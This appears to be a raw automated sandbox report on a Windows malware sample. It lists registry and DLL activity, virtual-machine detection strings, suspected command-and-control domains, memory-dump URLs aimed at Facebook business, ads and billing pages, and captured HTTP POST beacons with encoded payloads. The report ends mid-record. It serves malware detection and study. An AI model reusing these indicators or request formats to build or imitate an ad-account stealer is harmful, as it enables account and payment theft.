".exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\TIMEZONEINFORMATION"; Key: "STANDARDSTART"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\TIMEZONEINFORMATION"; Key: "DAYLIGHTNAME"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\TIMEZONEINFORMATION"; Key: "DAYLIGHTBIAS"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\TIMEZONEINFORMATION"; Key: "DAYLIGHTSTART"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\TIMEZONEINFORMATION"; Key: "TIMEZONEKEYNAME"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\TIMEZONEINFORMATION"; Key: "DYNAMICDAYLIGHTTIMEDISABLED"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\TIMEZONEINFORMATION"; Key: "ACTIVETIMEBIAS"; Value: "")37:T753,".exe" trying to touch file "C:\Windows\SYSTEM32\sechost.dll" ".exe" trying to touch file "C:\missionA.exe.Local\" ".exe" trying to touch file "C:\Windows\WinSxS\amd64_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.23894_none_145eb2808b8d6928" ".exe" trying to touch file "C:\Windows\WinSxS\amd64_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.23894_none_145eb2808b8d6928\gdiplus.dll" ".exe" trying to touch file "C:\Windows\WinSxS\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.18837_none_fa3b1e3d17594757" ".exe" trying to touch file "C:\Windows\WinSxS\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.18837_none_fa3b1e3d17594757\COMCTL32.dll" ".exe" trying to touch file "C:\UxTheme.dll" ".exe" trying to touch file "C:\Windows\system32\UxTheme.dll" ".exe" trying to touch file "C:\OLEACC.dll" ".exe" trying to touch file "C:\Windows\system32\OLEACC.dll" ".exe" trying to touch file "C:\slc.dll" ".exe" trying to touch file "C:\Windows\system32\slc.dll" ".exe" trying to touch file "C:\msdrm.dll" ".exe" trying to touch file "C:\Windows\system32\msdrm.dll" ".exe" trying to touch file "C:\CRYPTSP.dll" ".exe" trying to touch file "C:\Windows\system32\CRYPTSP.dll" ".exe" trying to touch file "C:\Windows\system32\IMM32.DLL" ".exe" trying to touch file "C:\OLEACCRC.DLL" ".exe" trying to touch file "C:\Windows\system32\OLEACCRC.DLL" ".exe" trying to touch file "C:\version.DLL" ".exe" trying to touch file "C:\Windows\system32\version.DLL" ".exe" trying to touch file "C:\Windows\Temp\VxOle64.dll"38:T69d,".exe" trying to access non-existent file "C:\UxTheme.dll" ".exe" trying to access non-existent file "C:\OLEACC.dll" ".exe" trying to access non-existent file "C:\slc.dll" ".exe" trying to access non-existent file "C:\msdrm.dll" ".exe" trying to access non-existent file "C:\CRYPTSP.dll" ".exe" trying to access non-existent file "C:\OLEACCRC.DLL" ".exe" trying to access non-existent file "C:\version.DLL" ".exe" trying to access non-existent file "C:\FLTLIB.DLL" ".exe" trying to access non-existent file "C:\Windows\system32\api-ms-win-core-fibers-l1-1-1.DLL" ".exe" trying to access non-existent file "C:\Windows\system32\api-ms-win-core-localization-l1-2-1.DLL" ".exe" trying to access non-existent file "C:\Secur32.dll" ".exe" trying to access non-existent file "C:\SSPICLI.DLL" ".exe" trying to access non-existent file "C:\api-ms-win-downlevel-advapi32-l2-1-0.dll" ".exe" trying to access non-existent file "C:\IPHLPAPI.DLL" ".exe" trying to access non-existent file "C:\WINNSI.DLL" ".exe" trying to access non-existent file "C:\api-ms-win-downlevel-shlwapi-l2-1-0.dll" ".exe" trying to access non-existent file "C:\DNSAPI.dll" ".exe" trying to access non-existent file "C:\CRYPTBASE.dll" ".exe" trying to access non-existent file "C:\rasadhlp.dll" ".exe" trying to access non-existent file "C:\dhcpcsvc.DLL" ".exe" trying to access non-existent file "C:\RpcRtRemote.dll"39:T4bf,Found http requests in header "GET /sts/imagc.jpg" Found http requests in header "GET /check/safe" Found http requests in header "POST /check/?sid=43544&key=e02311eeae4a43c5112329d8205993d2" Found http requests in header "POST /check/?sid=43546&key=c272c33d0ae111e0df6df5f31eef438b" Found http requests in header "POST /check/?sid=43548&key=d78fe5bc6c85084a9282de683d601b06" Found http requests in header "POST /check/?sid=43550&key=dc160ac59e3e895fc74170252a5670f5" Found http requests in header "POST /check/?sid=43556&key=137fee56a99c3220059c355ef5fac5e0" Found http requests in header "POST /check/?sid=43560&key=a5c46bc51513f4d0d0c2689dccd0ed03" Found http requests in header "POST /check/?sid=43566&key=3d2383c6cde51c9cb5188dc560599996" Found http requests in header "POST /check/?sid=43570&key=b0b4b7386ea2485d06b94f7e8af64215" Found http requests in header "POST /check/?sid=43578&key=4285ddb3af6813d739c0fbe4d9223e9b" Found http requests in header "POST /check/?sid=43582&key=d6ba3fa3d2a833d2e5e02f2cb536aecc" Found http requests in header "POST /check/?sid=43586&key=dc7d5f91e46313bf67df1e3fac4b7f83" Found http requests in header "POST /check/?sid=43594&key=f5dae087e835aa035eae44bfd4cafaa9"3a:T87e,Pattern match: "http://schemas.microsoft.com/SMI/2005/WindowsSettings" Heuristic match: "us.imgjeoigaa.com" Heuristic match: "app.nnnaajjjgc.com" Heuristic match: "GET /check/safe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36Host: app.nnnaajjjgc.com" Heuristic match: "vmmouse.cat" Heuristic match: "vmusbmouse.cat" Heuristic match: "se.cat" Heuristic match: "vm3d.cat" Heuristic match: "vmci.cat" Heuristic match: "CatalogFile=vmmouse.cat" Heuristic match: "mmouse.cat" Heuristic match: "MMouse.Co" Heuristic match: "O.SK" Heuristic match: "d.cat" Heuristic match: "api-debug.dj" Heuristic match: "musbmouse.cat" Heuristic match: "CatalogFile=vmusbmouse.cat" Heuristic match: "T=.COM" Heuristic match: "=.COM" Pattern match: "http://us.imgjeoigaa.com/sts/imagc.jpg" Pattern match: "www.juegosjuegos.com/" Heuristic match: "s.imgjeoigaa.com" Pattern match: "srusinc.tt.omtrdc.net/m2/toysrusinc" Pattern match: "lector-761.tvsquared.com/piwik/" Pattern match: "collector-923.tvsquared.com/piwik/" Heuristic match: ".imgjeoigaa.com" Heuristic match: "imgjeoigaa.com" Pattern match: "www.maxonclick.com/" Pattern match: "us.imgjeoigaa.com/sts/imagc.jpg" Pattern match: "www.kayak.com/" Heuristic match: "mgjeoigaa.com" Pattern match: "www.toysrus.com/api-aws/apiLayer/authenticate" Heuristic match: "a.com" Pattern match: "https://www.facebook.com/" Pattern match: "https://www.facebook.com/login/device-based/login/" Pattern match: "https://adsmanager.facebook.com/ads/manager/accounts" Pattern match: "https://business.facebook.com/api/graphql/?lll=ppp" Pattern match: "https://business.facebook.com/select" Pattern match: "https://www.facebook.com/pages/?category=your_pages&ref=bookmarks" Heuristic match: "Host: business.facebook.com" Heuristic match: "Host: adsmanager.facebook.com" Pattern match: "https://business.facebook.com" Heuristic match: "k.com" Heuristic match: "ok.com" Pattern match: "https://www.f" Pattern match: "www.faceb" Heuristic match: "ook.com" Heuristic match: "f=.je" Heuristic match: "<;.Cd"3b:T3c70,Found URL "http://us.imgjeoigaa.com/sts/imagc.jpgrosoft\windows\temporary" - Source: "00000000-00003864.00000000.69753.000D0000.00000004.mdmp") Found URL "https://www.facebook.com/https://www.facebook.com/login/device-based/login/https://adsmanager.facebook.com/ads/manager/accountshttps://business.facebook.com/api/graphql/?lll=ppphttps://business.facebook.com/selecthttps://www.facebook.com/pages/?category=your_pages&ref=bookmarks!$).056;>acenqv[_" - Source: "00000000-00003864.00000000.69753.01F20000.00000004.mdmp") Found URL "https://business.facebook.comsec-fetch-site:" - Source: "00000000-00003864.00000000.69753.01F20000.00000004.mdmp") Found URL "https://www.fame-sitetch-site:" - Source: "00000000-00003864.00000000.69753.01F20000.00000004.mdmp") Found URL "https://business.facebook.com/billing_hub/payment_settings/?asset_id=?asset_id" - Source: "00000000-00003864.00000000.69753.01F20000.00000004.mdmp") Found URL "http://app.nnnaajjjgc.com/check/safe" - Source: "00000000-00003864.00000000.69753.01F20000.00000004.mdmp") Found URL "http://app.nnnaajjjgc.com/check/?sid=" - Source: "00000000-00003864.00000000.69753.01F20000.00000004.mdmp") Found URL "http://app.nnnaajjjgc.com/check/safelmemlmemlmemlmemlmemlmemlmemlmem,ce1lmemlmem6ce1lmemlmemlmembce1lmemtce1lmemlmem^ce1lmemlmemlmemlmemlmemlmemlmemlmemlmem6be12.5.4.39:" - Source: "00000000-00003864.00000000.69753.02B60000.00000004.mdmp") Found URL "https://www.facebook.com/https://www.facebook.com/login/device-based/login/https://adsmanager.facebook.com/ads/manager/accountshttps://business.facebook.com/api/graphql/?lll=ppphttps://business.facebook.com/selecthttps://www.facebook.com/pages/?category=your_pages&ref=bookmarks!$).056;>acenqv[_" - Source: "00000000-00003864.00000000.69753.03110000.00000040.mdmp") Found URL "https://business.facebook.comsec-fetch-site:" - Source: "00000000-00003864.00000000.69753.03110000.00000040.mdmp") Found URL "https://www.fame-sitetch-site:" - Source: "00000000-00003864.00000000.69753.03110000.00000040.mdmp") Found URL "https://business.facebook.com/billing_hub/payment_settings/?asset_id=?asset_id" - Source: "00000000-00003864.00000000.69753.03110000.00000040.mdmp") Found URL "http://app.nnnaajjjgc.com/check/safe" - Source: "00000000-00003864.00000000.69753.03110000.00000040.mdmp") Found URL "http://app.nnnaajjjgc.com/check/?sid=" - Source: "00000000-00003864.00000000.69753.03110000.00000040.mdmp") Found URL "https://www.facebook.com/https://www.facebook.com/login/device-based/login/https://adsmanager.facebook.com/ads/manager/accountshttps://business.facebook.com/api/graphql/?lll=ppphttps://business.facebook.com/selecthttps://www.facebook.com/pages/?category=your_pages&ref=bookmarks!$).056;>acenqv[_" - Source: "00000000-00003864.00000000.69753.03290000.00000040.mdmp") Found URL "https://business.facebook.comsec-fetch-site:" - Source: "00000000-00003864.00000000.69753.03290000.00000040.mdmp") Found URL "https://www.fame-sitetch-site:" - Source: "00000000-00003864.00000000.69753.03290000.00000040.mdmp") Found URL "https://business.facebook.com/billing_hub/payment_settings/?asset_id=?asset_id" - Source: "00000000-00003864.00000000.69753.03290000.00000040.mdmp") Found URL "http://app.nnnaajjjgc.com/check/safe" - Source: "00000000-00003864.00000000.69753.03290000.00000040.mdmp") Found URL "http://app.nnnaajjjgc.com/check/?sid=" - Source: "00000000-00003864.00000000.69753.03290000.00000040.mdmp") Found URL "http://us.imgjeoigaa.com/sts/imagc.jpgavauwvshhc@acenqv[_" - Source: "00000000-00003864.00000001.71678.01F20000.00000004.mdmp") Found URL "https://business.facebook.comsec-fetch-site:" - Source: "00000000-00003864.00000001.71678.01F20000.00000004.mdmp") Found URL "https://www.fame-sitetch-site:" - Source: "00000000-00003864.00000001.71678.01F20000.00000004.mdmp") Found URL "https://business.facebook.com/billing_hub/payment_settings/?asset_id=?asset_id" - Source: "00000000-00003864.00000001.71678.01F20000.00000004.mdmp") Found URL "http://app.nnnaajjjgc.com/check/safe" - Source: "00000000-00003864.00000001.71678.01F20000.00000004.mdmp") Found URL "http://app.nnnaajjjgc.com/check/?sid=" - Source: "00000000-00003864.00000001.71678.01F20000.00000004.mdmp") Found URL "http://app.nnnaajjjgc.com/check/?sid=43698&key=bbfb87ccdb4ab39132a1311f62cd47b0http://app.nnnaajjjgc.com/check/?sid=43698&key=bbfb87ccdb4ab39132a1311f62cd47b0rand_strsess" - Source: "00000000-00003864.00000001.71678.02B60000.00000004.mdmp") Found URL "https://www.facebook.com/https://www.facebook.com/login/device-based/login/https://adsmanager.facebook.com/ads/manager/accountshttps://business.facebook.com/api/graphql/?lll=ppphttps://business.facebook.com/selecthttps://www.facebook.com/pages/?category=your_pages&ref=bookmarks!$).056;>acenqv[_" - Source: "00000000-00003864.00000001.71678.03110000.00000040.mdmp") Found URL "https://business.facebook.comsec-fetch-site:" - Source: "00000000-00003864.00000001.71678.03110000.00000040.mdmp") Found URL "https://www.fame-sitetch-site:" - Source: "00000000-00003864.00000001.71678.03110000.00000040.mdmp") Found URL "https://business.facebook.com/billing_hub/payment_settings/?asset_id=?asset_id" - Source: "00000000-00003864.00000001.71678.03110000.00000040.mdmp") Found URL "http://app.nnnaajjjgc.com/check/safe" - Source: "00000000-00003864.00000001.71678.03110000.00000040.mdmp") Found URL "http://app.nnnaajjjgc.com/check/?sid=" - Source: "00000000-00003864.00000001.71678.03110000.00000040.mdmp") Found URL "https://www.facebook.com/https://www.facebook.com/login/device-based/login/https://adsmanager.facebook.com/ads/manager/accountshttps://business.facebook.com/api/graphql/?lll=ppphttps://business.facebook.com/selecthttps://www.facebook.com/pages/?category=your_pages&ref=bookmarks!$).056;>acenqv[_" - Source: "00000000-00003864.00000001.71678.03290000.00000040.mdmp") Found URL "https://business.facebook.comsec-fetch-site:" - Source: "00000000-00003864.00000001.71678.03290000.00000040.mdmp") Found URL "https://www.fame-sitetch-site:" - Source: "00000000-00003864.00000001.71678.03290000.00000040.mdmp") Found URL "https://business.facebook.com/billing_hub/payment_settings/?asset_id=?asset_id" - Source: "00000000-00003864.00000001.71678.03290000.00000040.mdmp") Found URL "http://app.nnnaajjjgc.com/check/safe" - Source: "00000000-00003864.00000001.71678.03290000.00000040.mdmp") Found URL "http://app.nnnaajjjgc.com/check/?sid=" - Source: "00000000-00003864.00000001.71678.03290000.00000040.mdmp") Found URL "http://us.imgjeoigaa.com/sts/imagc.jpgavauwvshhc@b5fabd92f0c" - Source: "00000000-00003864.00000002.73602.000D0000.00000004.mdmp") Found URL "http://app.nnnaajjjgc.com/check/safe&wan" - Source: "00000000-00003864.00000002.73602.000D0000.00000004.mdmp") Found URL "http://app.nnnaajjjgc.com/check/?sid=44040&key=f30c45d5ae6e3d5dba595fb94d624fd4http://app.nnnaajjjgc.com/check/?sid=44040&key=f30c45d5ae6e3d5dba595fb94d624fd4sessnonic" - Source: "00000000-00003864.00000002.73602.000D0000.00000004.mdmp") Found URL "https://www.facebook.com/https://www.facebook.com/login/device-based/login/https://adsmanager.facebook.com/ads/manager/accountshttps://business.facebook.com/api/graphql/?lll=ppphttps://business.facebook.com/selecthttps://www.facebook.com/pages/?category=your_pages&ref=bookmarks!$).056;>acenqv[_" - Source: "00000000-00003864.00000002.73602.01F20000.00000004.mdmp") Found URL "https://business.facebook.comsec-fetch-site:" - Source: "00000000-00003864.00000002.73602.01F20000.00000004.mdmp") Found URL "https://www.fame-sitetch-site:" - Source: "00000000-00003864.00000002.73602.01F20000.00000004.mdmp") Found URL "https://business.facebook.com/billing_hub/payment_settings/?asset_id=?asset_id" - Source: "00000000-00003864.00000002.73602.01F20000.00000004.mdmp") Found URL "http://app.nnnaajjjgc.com/check/safe" - Source: "00000000-00003864.00000002.73602.01F20000.00000004.mdmp") Found URL "http://app.nnnaajjjgc.com/check/?sid=" - Source: "00000000-00003864.00000002.73602.01F20000.00000004.mdmp") Found URL "https://www.facebook.com/https://www.facebook.com/login/device-based/login/https://adsmanager.facebook.com/ads/manager/accountshttps://business.facebook.com/api/graphql/?lll=ppphttps://business.facebook.com/selecthttps://www.facebook.com/pages/?category=your_pages&ref=bookmarks!$).056;>acenqv[_" - Source: "00000000-00003864.00000002.73602.03110000.00000040.mdmp") Found URL "https://business.facebook.comsec-fetch-site:" - Source: "00000000-00003864.00000002.73602.03110000.00000040.mdmp") Found URL "https://www.fame-sitetch-site:" - Source: "00000000-00003864.00000002.73602.03110000.00000040.mdmp") Found URL "https://business.facebook.com/billing_hub/payment_settings/?asset_id=?asset_id" - Source: "00000000-00003864.00000002.73602.03110000.00000040.mdmp") Found URL "http://app.nnnaajjjgc.com/check/safe" - Source: "00000000-00003864.00000002.73602.03110000.00000040.mdmp") Found URL "http://app.nnnaajjjgc.com/check/?sid=" - Source: "00000000-00003864.00000002.73602.03110000.00000040.mdmp") Found URL "https://www.facebook.com/https://www.facebook.com/login/device-based/login/https://adsmanager.facebook.com/ads/manager/accountshttps://business.facebook.com/api/graphql/?lll=ppphttps://business.facebook.com/selecthttps://www.facebook.com/pages/?category=your_pages&ref=bookmarks!$).056;>acenqv[_" - Source: "00000000-00003864.00000002.73602.03290000.00000040.mdmp") Found URL "https://business.facebook.comsec-fetch-site:" - Source: "00000000-00003864.00000002.73602.03290000.00000040.mdmp") Found URL "https://www.fame-sitetch-site:" - Source: "00000000-00003864.00000002.73602.03290000.00000040.mdmp") Found URL "https://business.facebook.com/billing_hub/payment_settings/?asset_id=?asset_id" - Source: "00000000-00003864.00000002.73602.03290000.00000040.mdmp") Found URL "http://app.nnnaajjjgc.com/check/safe" - Source: "00000000-00003864.00000002.73602.03290000.00000040.mdmp") Found URL "http://app.nnnaajjjgc.com/check/?sid=" - Source: "00000000-00003864.00000002.73602.03290000.00000040.mdmp") Found URL "http://us.imgjeoigaa.com/sts/imagc.jpgavauwvshhc@acenqv[_" - Source: "00000000-00003864.00000003.81040.01F20000.00000004.mdmp") Found URL "https://business.facebook.comsec-fetch-site:" - Source: "00000000-00003864.00000003.81040.01F20000.00000004.mdmp") Found URL "https://www.fame-sitetch-site:" - Source: "00000000-00003864.00000003.81040.01F20000.00000004.mdmp") Found URL "https://business.facebook.com/billing_hub/payment_settings/?asset_id=?asset_id" - Source: "00000000-00003864.00000003.81040.01F20000.00000004.mdmp") Found URL "http://app.nnnaajjjgc.com/check/safe" - Source: "00000000-00003864.00000003.81040.01F20000.00000004.mdmp") Found URL "http://app.nnnaajjjgc.com/check/?sid=" - Source: "00000000-00003864.00000003.81040.01F20000.00000004.mdmp") Found URL "http://app.nnnaajjjgc.com/check/safeintel" - Source: "00000000-00003864.00000003.81040.02B60000.00000004.mdmp") Found URL "https://www.facebook.com/https://www.facebook.com/login/device-based/login/https://adsmanager.facebook.com/ads/manager/accountshttps://business.facebook.com/api/graphql/?lll=ppphttps://business.facebook.com/selecthttps://www.facebook.com/pages/?category=your_pages&ref=bookmarks!$).056;>acenqv[_" - Source: "00000000-00003864.00000003.81040.03110000.00000040.mdmp") Found URL "https://business.facebook.comsec-fetch-site:" - Source: "00000000-00003864.00000003.81040.03110000.00000040.mdmp") Found URL "https://www.fame-sitetch-site:" - Source: "00000000-00003864.00000003.81040.03110000.00000040.mdmp") Found URL "https://business.facebook.com/billing_hub/payment_settings/?asset_id=?asset_id" - Source: "00000000-00003864.00000003.81040.03110000.00000040.mdmp") Found URL "http://app.nnnaajjjgc.com/check/safe" - Source: "00000000-00003864.00000003.81040.03110000.00000040.mdmp") Found URL "http://app.nnnaajjjgc.com/check/?sid=" - Source: "00000000-00003864.00000003.81040.03110000.00000040.mdmp") Found URL "https://www.facebook.com/https://www.facebook.com/login/device-based/login/https://adsmanager.facebook.com/ads/manager/accountshttps://business.facebook.com/api/graphql/?lll=ppphttps://business.facebook.com/selecthttps://www.facebook.com/pages/?category=your_pages&ref=bookmarks!$).056;>acenqv[_" - Source: "00000000-00003864.00000003.81040.03290000.00000040.mdmp") Found URL "https://business.facebook.comsec-fetch-site:" - Source: "00000000-00003864.00000003.81040.03290000.00000040.mdmp") Found URL "https://www.fame-sitetch-site:" - Source: "00000000-00003864.00000003.81040.03290000.00000040.mdmp") Found URL "https://business.facebook.com/billing_hub/payment_settings/?asset_id=?asset_id" - Source: "00000000-00003864.00000003.81040.03290000.00000040.mdmp") Found URL "http://app.nnnaajjjgc.com/check/safe" - Source: "00000000-00003864.00000003.81040.03290000.00000040.mdmp") Found URL "http://app.nnnaajjjgc.com/check/?sid=" - Source: "00000000-00003864.00000003.81040.03290000.00000040.mdmp") Found URL "http://us.imgjeoigaa.com/sts/imagc.jpgavauwvshhc@.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP6\PARAMETERS\INTERFACES\{E390372A-3FAB-417F-940E-F2CD5C8F68CB}"; Key: "SEARCHLIST"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E390372A-3FAB-417F-940E-F2CD5C8F68CB}"; Key: "ENABLEDHCP"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E390372A-3FAB-417F-940E-F2CD5C8F68CB}"; Key: "REGISTRATIONENABLED"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E390372A-3FAB-417F-940E-F2CD5C8F68CB}"; Key: "REGISTERADAPTERNAME"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E390372A-3FAB-417F-940E-F2CD5C8F68CB}"; Key: "DOMAIN"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E390372A-3FAB-417F-940E-F2CD5C8F68CB}"; Key: "DHCPDOMAIN"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP6\PARAMETERS\INTERFACES\{E390372A-3FAB-417F-940E-F2CD5C8F68CB}"; Key: "NAMESERVER"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E390372A-3FAB-417F-940E-F2CD5C8F68CB}"; Key: "NAMESERVER"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E390372A-3FAB-417F-940E-F2CD5C8F68CB}"; Key: "DHCPNAMESERVER"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{846EE342-7039-11DE-9D20-806E6F6E6963}"; Key: "ENABLEDHCP"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{846EE342-7039-11DE-9D20-806E6F6E6963}"; Key: "REGISTRATIONENABLED"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{846EE342-7039-11DE-9D20-806E6F6E6963}"; Key: "REGISTERADAPTERNAME"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{846EE342-7039-11DE-9D20-806E6F6E6963}"; Key: "DOMAIN"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{846EE342-7039-11DE-9D20-806E6F6E6963}"; Key: "DHCPDOMAIN"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{846EE342-7039-11DE-9D20-806E6F6E6963}"; Key: "NAMESERVER"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{846EE342-7039-11DE-9D20-806E6F6E6963}"; Key: "DHCPNAMESERVER"; Value: "")43:T441,".exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\5.0\CACHE"; Key: "SCAVENGECACHEFILELIMIT") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\5.0\CACHE"; Key: "SCAVENGECACHEFILELIMIT") ".exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS"; Key: "DISABLECACHINGOFSSLPAGES") ".exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS"; Key: "BYPASSHTTPNOCACHECHECK") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS"; Key: "BYPASSHTTPNOCACHECHECK") ".exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS"; Key: "BYPASSSSLNOCACHECHECK") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS"; Key: "BYPASSSSLNOCACHECHECK")44:T4d0b,"POST /check/?sid=43544&key=e02311eeae4a43c5112329d8205993d2 HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36 Content-Length: 160 Host: app.nnnaajjjgc.com" with payload::==> "VXlZVEE1WlRFeU5UVTBaRFZpTUdJaUxDQWlkV2xrSWpvZ0lqSXlNalVpTENBaWRXNWZjSGRrSWpvZ0lleUpwYzJsdWMzUmhiR3dpT2lBaU1DSXNJQ0p0WVdNaU9pQWlOREppWkRJME1qTXhObVprT1dReE9UaUo5" HTTP/1.1 200 OK Server: nginx Date: Thu 17 Aug 2023 18:18:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/7.4.30 with response body ==>31350D0A7B22737461747573223A332C22656D223A2230227D0D0A300D0A0D0A....... "POST /check/?sid=43546&key=c272c33d0ae111e0df6df5f31eef438b HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36 Content-Length: 160 Host: app.nnnaajjjgc.com" with payload::==> "VXlZVEE1WlRFeU5UVTBaRFZpTUdJaUxDQWlkV2xrSWpvZ0lqSXlNalVpTENBaWRXNWZjSGRrSWpvZ0lleUpwYzJsdWMzUmhiR3dpT2lBaU1DSXNJQ0p0WVdNaU9pQWlOREppWkRJME1qTXhObVprT1dReE9UaUo5" HTTP/1.1 200 OK Server: nginx Date: Thu 17 Aug 2023 18:18:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/7.4.30 with response body ==>31350D0A7B22737461747573223A332C22656D223A2230227D0D0A300D0A0D0A....... "POST /check/?sid=43548&key=d78fe5bc6c85084a9282de683d601b06 HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36 Content-Length: 160 Host: app.nnnaajjjgc.com" with payload::==> "VXlZVEE1WlRFeU5UVTBaRFZpTUdJaUxDQWlkV2xrSWpvZ0lqSXlNalVpTENBaWRXNWZjSGRrSWpvZ0lleUpwYzJsdWMzUmhiR3dpT2lBaU1DSXNJQ0p0WVdNaU9pQWlOREppWkRJME1qTXhObVprT1dReE9UaUo5" HTTP/1.1 200 OK Server: nginx Date: Thu 17 Aug 2023 18:18:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/7.4.30 with response body ==>31350D0A7B22737461747573223A332C22656D223A2230227D0D0A300D0A0D0A....... "POST /check/?sid=43550&key=dc160ac59e3e895fc74170252a5670f5 HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36 Content-Length: 160 Host: app.nnnaajjjgc.com" with payload::==> "VXlZVEE1WlRFeU5UVTBaRFZpTUdJaUxDQWlkV2xrSWpvZ0lqSXlNalVpTENBaWRXNWZjSGRrSWpvZ0lleUpwYzJsdWMzUmhiR3dpT2lBaU1DSXNJQ0p0WVdNaU9pQWlOREppWkRJME1qTXhObVprT1dReE9UaUo5" HTTP/1.1 200 OK Server: nginx Date: Thu 17 Aug 2023 18:18:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/7.4.30 with response body ==>31350D0A7B22737461747573223A332C22656D223A2230227D0D0A300D0A0D0A....... "POST /check/?sid=43556&key=137fee56a99c3220059c355ef5fac5e0 HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36 Content-Length: 160 Host: app.nnnaajjjgc.com" with payload::==> 